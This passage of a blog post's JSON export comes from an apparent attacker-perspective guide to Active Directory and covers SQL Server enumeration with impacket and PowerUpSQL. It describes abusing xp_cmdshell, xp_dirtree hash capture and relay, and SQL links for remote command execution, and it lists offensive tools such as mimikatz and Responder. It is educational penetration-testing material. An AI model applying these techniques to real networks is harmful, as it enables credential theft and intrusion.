  |                         |                |\n            |                         '----------------'\n            |                                  |\n            '-----&gt;&gt;------admin of------&gt;&gt;-----'\n<\/pre><figcaption>\nExchange groups and permissions<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"sql-server\">\nSQL Server<\/h3>\n<p>Microsoft SQL Server (MSSQL) is a database management system created by<br \/>\nMicrosoft. It is usually installed on Windows Server machines, listening in the<br \/>\nTCP port 1433 and many web applications uses it as database.<\/p>\n<p>The SQL Server listen in the TCP port 1433 and it is possible to connect to it<br \/>\nby using domain credentials, since it uses the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tds\/b46a581a-39de-4745-b076-ec4dbb7d13ec\">TDS<\/a> protocol, which is compatible<br \/>\nwith NTLM and Kerberos authentication.<\/p>\n<p>To communicate to an SQL server it is possible to use the  <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tds\/b46a581a-39de-4745-b076-ec4dbb7d13ec\">TDS<\/a> protocol directly<br \/>\nover <a href=\"https:\/\/docs.microsoft.com\/en-us\/sql\/sql-server\/install\/configure-the-windows-firewall-to-allow-sql-server-access?view=sql-server-ver15#BKMK_ssde\">TCP or using SMB<\/a>. In case of using TCP, the default port is 1433, but is<br \/>\nalso possible to use a dynamic port.<\/p>\n<figure>\n<pre>  .------.     .----------.\n  | NTLM |     | Kerberos |\n  '------'     '----------'\n     |              |\n     '------.-------'\n            |\n            |\n     .------'------.        .------------\n     |             |        |\n     |          .-----.   .---\n     |      .--&gt;| SMB |--&gt;| 445\/TCP\n     |      |   '-----'   '---\n     |      |               |\n     |      |               |\n  .-----.   |             .---         SQL\n  | TDS |---'-----TCP----&gt;| 1433\/TCP  \n  '-----'                 '---        Server\n                            |\n                            |\n  .------.                .---\n  | SQLR |--------UDP----&gt;| 1434\/UDP\n  '------'                '---\n                            |\n                            '------------\n<\/pre><figcaption>\nSQL server port and protocols<br \/>\n<\/figcaption><\/figure>\n<p>When a <a href=\"https:\/\/docs.microsoft.com\/en-us\/sql\/sql-server\/install\/configure-the-windows-firewall-to-allow-sql-server-access?view=sql-server-ver15#BKMK_dynamic_ports\">dynamic port<\/a> is used, a random TCP port is selected. To allow a remote<br \/>\nclient to discover this port, the SQL Server Browser must be enabled in the UDP<br \/>\nport 1434, waiting for <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/mc-sqlr\/1ea6e25f-bff9-4364-ba21-5dc449a601b7\">SQLR<\/a> (SQL Server Resolution) queries. You can use the<br \/>\nimpacket <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/mssqlinstance.py\">mssqlinstance.py<\/a> tool to discover the SQL server dynamic port.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ mssqlinstance.py 192.168.100.19\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Instance 0\nServerName:SRV01\nInstanceName:SQLEXPRESS\nIsClustered:No\nVersion:15.0.2000.5\n[*] Instance 1\nServerName:SRV01\nInstanceName:MSSQLSERVER\nIsClustered:No\nVersion:15.0.2000.5\ntcp:50377<\/code><\/pre><figcaption>\nQuery to SQL Server Browser<br \/>\n<\/figcaption><\/figure>\n<p>Here, you can see that the SQL Server port is 50377, now you can use a SQL<br \/>\nServer client like <a href=\"https:\/\/www.heidisql.com\/\">HeidiSQL<\/a>, <a href=\"https:\/\/docs.microsoft.com\/en-us\/sql\/ssms\/download-sql-server-management-studio-ssms?view=sql-server-ver15\">SQL Server Management Studio<\/a>, or <a href=\"https:\/\/github.com\/NetSPI\/PowerUpSQL\/\">PowerUpSQL<\/a> to<br \/>\nconnect to the database.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; . .PowerUpSQL.ps1\nPS C:&gt; Get-SQLQuery -Query \"Select @@version\" -Instance \"srv01,50377\"\nColumn1\n-------\nMicrosoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ...<\/code><\/pre><figcaption>\nSQL query with a dynamic port<br \/>\n<\/figcaption><\/figure>\n<p>An important aspect of SQL server is the ability to execute commands through<br \/>\nthe <code>xp_cmdshell<\/code> command, if it is allowed.<\/p>\n<blockquote><p>Sometimes in misconfigured environments, even if the <a href=\"https:\/\/docs.microsoft.com\/en-us\/sql\/relational-databases\/system-stored-procedures\/xp-cmdshell-transact-sql?view=sql-server-ver15\">xp_cmdshell<\/a> command is<br \/>\ndisabled, the user has enough privileges to<br \/>\n<a href=\"https:\/\/www.tarlogic.com\/en\/blog\/red-team-tales-0x01\/\">enable it with the <code>sp_configure<\/code> directive<\/a>.<\/p><\/blockquote>\n<p>Moreover, the <code>xp_dirtree<\/code> command can be useful to access to files of the<br \/>\nnetwork (using UNC paths) or for making authenticated requests to other<br \/>\nmachines, by using the domain computer account in order to <a href=\"https:\/\/medium.com\/@markmotig\/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478\">recollect NTLM hashes<\/a><br \/>\nto crack or perform <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#case-study-1-mssql-rcelpe\">NTLM relay<\/a>.<\/p>\n<blockquote><p>SQL injection is out of the scope of this post, but if you want more<br \/>\ninformation about how to exploit SQL Injection in SQL Server or other databases,<br \/>\nyou can check the <a href=\"https:\/\/sqlwiki.netspi.com\">NetSPI<\/a>, <a href=\"http:\/\/pentestmonkey.net\/category\/cheat-sheet\/sql-injection\">Pentest Monkey<\/a> or <a href=\"https:\/\/portswigger.net\/web-security\/sql-injection\/cheat-sheet\">PortSwigger<\/a> cheat sheets.<\/p><\/blockquote>\n<p>Additionally, an incredible useful characteristic for an attacker could be the<br \/>\n<strong>SQL Server links<\/strong>. SQL Server allows to create links with other data sources,<br \/>\nlike other SQL databases.<\/p>\n<p>The interesting thing about those links is that even if they are created by a<br \/>\nprivileged user like an administrator, they can be used by any user and will<br \/>\nallow to <a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/how-to-hack-database-links-in-sql-server\/\">execute commands in remote machines<\/a> with the privileges of the link<br \/>\ncreator.<\/p>\n<figure>\n<pre>                         .---.                             .---.\n                        \/   \/|         SQL link           \/   \/|\n   o                   .---. | ========================= .---. |\n  \/|  ---unpriv----&gt;  |   | '  ---------dbadmin------&gt;  |   | '\n  \/                   |   |\/  ========================= |   |\/ \n                       '---'                             '---'  \n                        db1                               db2\n<\/pre><figcaption>\nUsing a link created by dbadmin<br \/>\n<\/figcaption><\/figure>\n<p>Additionally, if you like pivoting through SQL Server you can also convert it in<br \/>\na SOCKS proxy by using <a href=\"https:\/\/github.com\/blackarrowsec\/mssqlproxy\">mssqlproxy<\/a>.<\/p>\n<p>For more ways to abuse SQL Servers, you can use the <a href=\"https:\/\/github.com\/NetSPI\/PowerUpSQL\/\">PowerUpSQL<\/a> toolkit and<br \/>\ndefinitely, you should check its <a href=\"https:\/\/github.com\/NetSPI\/PowerUpSQL\/wiki\">wiki<\/a>.<\/p>\n<h2 id=\"recommended-resources\">\nRecommended resources<\/h2>\n<p>In this article there are many resources linked, and you are encourage to<br \/>\nfollow them to learn more. However, there are some special sites that I<br \/>\nconsider very good and with lots of on Active Directory information:<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/MS-WINPROTLP\/e36c976a-6263-42a8-b119-7a3cc41ddd2a\">Microsoft Windows Technical Documents<\/a><\/li>\n<li><a href=\"https:\/\/adsecurity.org\/\">Active Directory Security<\/a><\/li>\n<li><a href=\"https:\/\/blog.harmj0y.net\/\">https:\/\/blog.harmj0y.net\/<\/a><\/li>\n<li><a href=\"https:\/\/en.hackndo.com\/\">hackndo<\/a><\/li>\n<li><a href=\"https:\/\/dirkjanm.io\/\">https:\/\/dirkjanm.io\/<\/a><\/li>\n<li><a href=\"https:\/\/syfuhs.net\/\">Steve on Security<\/a><\/li>\n<li><a href=\"https:\/\/www.labofapenetrationtester.com\/\">Lab of a Penetration Tester<\/a><\/li>\n<li><a href=\"https:\/\/www.ired.team\/\">ired.team<\/a><\/li>\n<\/ul>\n<p>There many other incredible sites with Active Directory posts, but I these are<br \/>\nspecial relevant since described many topics and are specially dedicated to<br \/>\nActive Directory.<\/p>\n<p>Apart from blogs, here I let you a selection of great Active Directory oriented<br \/>\ntools, that apart from being useful, could allow you to learn a lot of Active<br \/>\nDirectory mechanism and protocols by reviewing its code. (This is far from being<br \/>\nan exhaustive list and many more are listed and shown in the article).<\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a>: Probably the most famous tool for attacking Windows and Active<br \/>\nDirectory. It implements in C <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\">all kind of attacks<\/a> to retrieve credentials from<br \/>\nWindows machines and impersonate users in Active Directory.<\/li>\n<li><a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">impacket<\/a>: Impacket implements many of the protocols described here in python<br \/>\nand it is worth to know how it works to learn about them. It also include many<br \/>\nexamples that implement attacks described here.<\/li>\n<li><a href=\"https:\/\/github.com\/lgandx\/Responder\">responder.py<\/a>: Responder allows you to perform a lot of PitM attacks abusing<br \/>\nWindows resolution protocols and giving you a lot of protocol servers that<br \/>\nwill collect NTLM hashes. Worth to know how it works.<\/li>\n<li><a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a>: Rubeus is a C# suite to perform Kerberos attacks from Windows<br \/>\nmachines. You can check it to learn a lot about how Kerberos work.<\/li>\n<li><a href=\"https:\/\/github.com\/byt3bl33d3r\/CrackMapExec\">CrackMapExec<\/a>: CME is a python tool that allows you to perform a lot of<br \/>\ndifferent attacks described here in an easy way.<\/li>\n<li><a href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\">BloodHound<\/a>: BloodHound allows you to map the Active Directory network with<br \/>\nmany different LDAP requests and others. You should check it if you want to<br \/>\nlearn about Active Directory reconnaissance.<\/li>\n<li><a href=\"https:\/\/github.com\/BC-SECURITY\/Empire\/blob\/master\/data\/module_source\/situational_awareness\/network\/powerview.ps1\">Powerview<\/a>: A Powershell tool that implements a lot of Active Directory LDAP<br \/>\nand other protocol queries to retrieve <a href=\"https:\/\/gist.github.com\/HarmJ0y\/184f9822b195c52dd50c379ed3117993\">all kind of information<\/a> from Active<br \/>\nDirectory.<\/li>\n<li><a href=\"https:\/\/github.com\/BC-SECURITY\/Empire\">Empire<\/a>: A suite to deploy agents in Active Directory machines that allows you<br \/>\nto perform all kind of attacks. The <a href=\"https:\/\/github.com\/BC-SECURITY\/Empire\/tree\/master\/data\/module_source\">data\/module_source<\/a> directory contains a<br \/>\nlot of tools to perform reconnaissance and attacks over Active Directory that<br \/>\nare worth to check.<\/li>\n<\/ul>\n<p><\/main><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Why this post? The purpose of this guide is to view Active Directory from an attacker perspective. I will try to review different aspects of Active [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8657,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[225,226,229,230],"tags":[125,250,252,259,261,230],"class_list":["post-8651","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-governance-risk-and-compliance","category-identity-and-active-directory","category-network-and-protocol-security","category-penetration-testing","tag-active-directory","tag-grc","tag-isms","tag-network-security","tag-open-source","tag-penetration-testing"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8651","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=8651"}],"version-history":[{"count":7,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8651\/revisions"}],"predecessor-version":[{"id":8690,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8651\/revisions\/8690"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media\/8657"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=8651"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=8651"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=8651"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}